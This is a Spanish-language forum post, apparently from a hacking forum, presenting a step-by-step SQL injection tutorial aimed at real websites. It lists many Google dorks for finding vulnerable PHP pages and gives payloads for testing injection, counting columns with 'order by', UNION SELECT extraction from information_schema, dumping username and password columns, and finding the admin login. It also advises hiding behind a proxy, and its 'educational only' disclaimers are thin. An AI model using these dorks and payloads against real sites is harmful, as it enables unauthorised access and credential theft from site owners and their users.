Tutorial de Inyeccion SQL by Dangus
Hola a todos, hice un pequeño tutorial de como hacer una inyección SQL para un team hace un tiempo atras, lo traje aqui para compartirlo con ustedes.
--------------------------------------------------------------------------------------------------
Empezamos¿Que es una inyección SQL?Una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo mediante las variables mal filtradas por el codeador de la web.
Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.
Pero al hacer esto nos estariamos convirtiendo en los famosos muerdetobillos o scriptkiddies, lo mas recomendable buscar y explotar una vulnerabilidad web es ir aprendiendo lenguajes de programación.
Esta es simplemente una técnica la cual es muy conocida hoy en dia y muy utilizada, este tutorial es meramente para información.
ExplicoBuscamos nuestra web vulnerable..
¿como las buscamos?Con un Dork
¿Y Como son o que son los dorks?Pues la definicion de dork seria una "puerta trasera" o "busqueda exacta". Google contiene unos "comandos" con los que podemos realizar busquedas a nuestro gusto, A continuacion les mostraré la forma de hacer una busqueda en google con un dork..
Generalmente, las websites vulnerables contiene esto...
php?algo aca=
EJ:
No puedes ver links
Registrate o Loginaqui les dejo algunos dorks:
allinurl:.php?id=
allinurl:*.php?id=
allinurl:.php?file=
allinurl:*.php?file=
allinurl:.php?fileid=
allinurl:*.php?fileid=
allinurl:.php?file_id=
allinurl:*.php?file_id=
allinurl:.php?page=
allinurl:*.php?page=
allinurl:.php?pageid=
allinurl:*.php?pageid=
allinurl:.ph p?page_id=
allinurl:*.php?page_id=
allinurl:.php?pagenum=
allinurl:*.php?pagenum=
allinurl:.php?page_num=
allinurl:*.php?page_num=
all inurl:.php?cat=
allinurl:*.php?cat=
allinurl:.php?cat_id=
allinurl:*.php?cat_id=
allinurl:.php?catid=
allinurl:*.php?catid=
allinurl:. php?prod=
allinurl:*.php?prod=
allinurl:.php?prodid=
allinurl:*.php?prodid=
allinurl:.php?prod_id=
allinurl:*.php?prod_id=
allinurl:.p hp?product=
allinurl:*.php?product=
allinurl:.php?productid=
allinurl:*.php?productid=
allinurl:.php?product_id=
allinurl:*.php?product _id=
allinurl:.php?products_id=
allinurl:*.php?products_id=
allinurl:.php?userid=
allinurl:*.php?userid=y faltan muchos mas
----------------------------------------------------------------------------------------
Bien ya tenemos nuestra web en el objetivoLes mostraré con esta, pero si van a probarlo porfavor usen un buen proxy, el anonimato siempre es nuestro mejor aliado, Porque creen que usamos nicks? pues para no dar a conocer nuestra verdadera identidad, aunque si no alteras nada, no borras nada no creo que te busquen pero por las dudas a protegerse.
No puedes ver links
Registrate o Loginok, buscamos algo como lo citado anteriormente...
Me olvidé :? que tenia que buscar?php?xxx=xxx <--- seguimos?
ah ya..ok. Buscamos y buscamos y encontramos esta...
Ojo que noticias.php?id=1 es como si en bat dijeramos set p/ =
asi es una variable, si 77 la cambiamos por 73 cambiara la noticia, pero no hacia falta que lo explique verdad?
No puedes ver links
Registrate o LoginBien, seguimos avanzando
Para comprobar si nuestra web en realidad es vulnerable hacemos lo siguiente...
para comprobar? si acabas de decir que buscaremos web vulnerablesSi dije eso, buscamos web's con las caracteristicas antes citadas, pero hay algunas web's con esas caracteristicas que ya no son vulnerables porque han sido parchadas.
Bueno como decia, para comprobar si es vulnerable agregamos lo siguiente..
No puedes ver links
Registrate o LoginVieron que le agregué
+and+1=0Pués si, eso lo agrego para demostrar si es o no vulnerable..
Si es vulnerable desaparece toda o parte de la web..
Otra forma de averiguar si es vulnerable.. es agregandole una comilla simple delante del =
Ej.
No puedes ver links
Registrate o Login vieron que agregué
'En este caso aparece lo siguiente...
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/pimenta/public_html/noticias.php on line 34Hay varios errores de mysql pero si sale justamente eso. warning: mysql....... es porque es vulnerable.
Seguimos...
Ahora buscamos el numero de columnas esta bien?Ah eso lo entiendo, contamos cuantas lineas tiene la pagina no?No, no es asi.. explico.. Para buscar el numero de columnas hacemos lo siguiente
No puedes ver links
Registrate o LoginSe ve que agregué
+order+by+25--Si la web tiene mas de 25 columnas aparecerá normal de lo contrario tendremos que ir restando numeros de columnas asi..
No puedes ver links
Registrate o Login mal
No puedes ver links
Registrate o Login mal
No puedes ver links
Registrate o Login mal
No puedes ver links
Registrate o Login bien
entonces subiremos de a 1 para encontrar el numero de columnas correctas
No puedes ver links
Registrate o Login bien
No puedes ver links
Registrate o Login bien
No puedes ver links
Registrate o Loginá, de nuevo mal
Por lo tanto el número correcto de columnas es 8 porque es el ultimo número que tira la web correcta..
No puedes ver links
Registrate o Login <--- Bingo
Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:
Siempre se empieza desde el 25 el order by ?No, no hace falta nada mas lo muestro desde un numero grande porque hay web's hasta mas de 30 tablas... Por ende lo puedes empezar tanto de 50 como de 10 pero si te da mal la web sigues bajando y si te da bien lo subes..
Ahora hacemos nuestra consultaAhora que ya tenemos el número de columnas, 8, podemos hacer nuestra consulta:
No puedes ver links
Registrate o Loginy nos saldrá algo asi...
y que es eso que has puesto?Union: Se usa para combinar los resultados de varias sentencias SELECT.
Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.
Luego ponemos las 8 columnas numerados del 1 al 8, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados.
Imprimir? tengo que conectar mi impresora? :? No, al imprimir me refiero a los resultados que "imprimirá" en la pantalla es decir resultados que mostrará. los resultados pueden ser 1,2,3,4 etc..
Bueno, pero no logro distinguir que le has agregado al linkBueno lo que eh agregado es un signo negativo "-" delante de la variable (es decir el numero que esta despues del signo igual) y las uniones +union+all+select+ y los numeros de tablas 1,2,3,4,5 en sintesis le agregué esto..
-xxx+union+all+select+1,2,3,4,5,6,7,8--Pero donde estan esos dichosos numeros que me imprimen?Bueno ya aclarado esto seguimos, ahora imprimiremos la información que nos interesa, la pass y el user..
Venga, ya estoy listoEn los numeros remplazados le puedes cambiar por...
version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.
Pero no me detendre a explicarlo porque no, nos interesa eso.. ademas que no lo entiendo muy bien.. XDDD recuerden aun soy newbie
Bueno, siguiendo con lo que nos interesa..
Como en pantalla nos imprimió el 4 y el 5 estos números son los que nos ayudarán a imprimir información--> asi
No puedes ver links
Registrate o LoginNotese que agregué..
group_concat(table_name) en vez del 3 como tambien lo podria poner en vez del 2y
+from+information_schema.tables-- al final de los numerosEsto sirve para que nos muestre en una sola linea toda la informacion de esa tabla..
Ojo, no siempre sale toda la información, a veces no sale como ahora..

En ese caso tenemos que usar
solamente
table_name y al final
+from+information_schema.tables+limit+1,1No puedes ver links
Registrate o LoginNos aparece CHARACTER_SETS Perfecto, el nombre de la tabla y seguimos buscando
No puedes ver links
Registrate o LoginNo puedes ver links
Registrate o LoginNo puedes ver links
Registrate o LoginHasta que nos aparezca algo interesante que nos llame la atencion como user, admin, tbl_user, usuario, etc..
No puedes ver links
Registrate o Login
en esta nos aparece Usuarios, perfecto esa es la tabla que necesitamos.
Pero como deberia hacer? de la primera forma o de la segunda?De las dos formas se puede hacer.. Pero la primera es mas rapida, aunque si no funciona la segunda nos respaldará.
Imprimiendo los que nos interesaBien para imprimir los datos simplemente tenemos que cambiar..
information_schema.tables-- por la tabla que encontramos, en este caso usuarios
y
group_concat(table_name) por... aqui se va probando, user, admin, pass, usuario, contra, login, clave.. etc
Quedaria asi..
No puedes ver links
Registrate o LoginYa eh probado de todo admin, user, pass, contraseña, mail, sol, luna, universo, oxidodesoxirribonucleico y no me sale :cry: :lol: jajaj no era para probar tanto..

Okay, te muestro otra forma
Esta bien, pero yo la quiero buscar esta bien?Perfecto yo nada mas te muestro...
Ahora Buscaremos las ColumnasAhora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:
No puedes ver links
Registrate o Login en ascci)
Bien esto nos facilita muchisimo el trabajo, ya nos dara como se llama la columna que tenemos que buscar...
Lo de la tabla en ascci tenemos que hacer lo siguiente, ya que nuestra tabla que usaremos se llama usuarios buscaremos en un convertidor usuarios, y nos saldra los siguiente.. 117,115,117,97,114,105,111,115 ahora cambiamos donde dice tabla en ascci y ponemos los que nos convirtió, asi...
No puedes ver links
Registrate o Login)

Notese que agregué
+from+information_schema.columns+where+table_name=char(tabla en ascci)y
group_concat(column_name)Muy bien, y de donde descargo ese programa? Buscalo en google.. XDD
Porfavor dime donde lo descargo :-( ok. ok. la funente misma donde la descargue nose, pero te paso el mio..
No puedes ver links
Registrate o LoginGracias. Pero no tiene virus lo que me mandas?Me vuelves a hacer esa pregunta y te envio cientos de virus a tu pc.. si no confias, testealo :-x
Bueno, pero no te enojes... ya lo probe y funciona
Bien, seguimos.. ahora ya tienes los nombres de las columnas, nada mas nos resta cambiarlos sabes como no?
Si, si lo seasi mira..
No puedes ver links
Registrate o Loginy
No puedes ver links
Registrate o LoginNooooo, por que me lo dijiste.. estaba a punto de hacerlo :-x Bien, ahora el resto te lo dejo a ti, logueate y ya esta :-D
como me logueo?No era que querias hacerlo tu solo?
Me ayudas en esta porfavor?ok. Puedes probar admin /adm login webmail /admin/login etc.. pero busca un escaner, te facilito uno.
No puedes ver links
Registrate o Login, ahora escanea la web y busca el directorio donde tienes que loguearte.. en este caso ese directorio es...
Si, si ya se el directorio es No puedes ver links
Registrate o Login y es este no?
Muy bien, ya te logueaste ahora leyendo sabras como modifar y donde modificar..
Este tuto es simplemente educativo, no es para que vallan a practicarlo a cualquier web de por ahi.
Espero el tutorial sea de su agrado, y si lo se, me fascinaron tanto las revistas de hack x crack que aplico sus metodos de explicar las cosas. Cualquier consulta porfavor posteenla.
Saludos
